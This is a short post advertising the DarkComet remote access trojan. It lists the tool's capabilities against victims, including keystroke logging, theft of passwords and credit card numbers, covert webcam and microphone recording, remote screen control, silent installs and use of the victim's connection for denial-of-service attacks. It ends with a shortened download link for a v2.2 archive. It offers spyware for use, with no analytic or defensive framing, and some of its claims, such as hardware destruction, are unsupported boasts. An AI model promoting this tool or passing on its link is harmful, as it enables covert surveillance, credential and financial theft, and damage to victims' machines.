DarkComet Rat
Download link below.

Block mouses and keyboards
Change the desktop wallpapers
Downloads, uploads, deletes, and rename files
Destroys hardware by overclocking
Drop viruses and worms
Edit Registry
Use your internet to perform denial of service attacks (DoS)
Format drives
Steal passwords, credit card numbers
Alter your web browsers homepage
Hide desktop icons, task bar and files
Silently install applications
Log keystrokes, keystroke capture software
Open CD-ROM tray
Overload the RAM/ROM drive
Send message boxes
Play sounds
Control mouse or keyboard
Record sound with a connected microphone
Record video with a connected webcam
Show fake errors
Shutdown, restart, log-off, shut down monitor
Record and control victim's screen remotely
View, kill, and start tasks in task manager

DarkComet v2.2.rar download: http://bit.ly/1Es8roe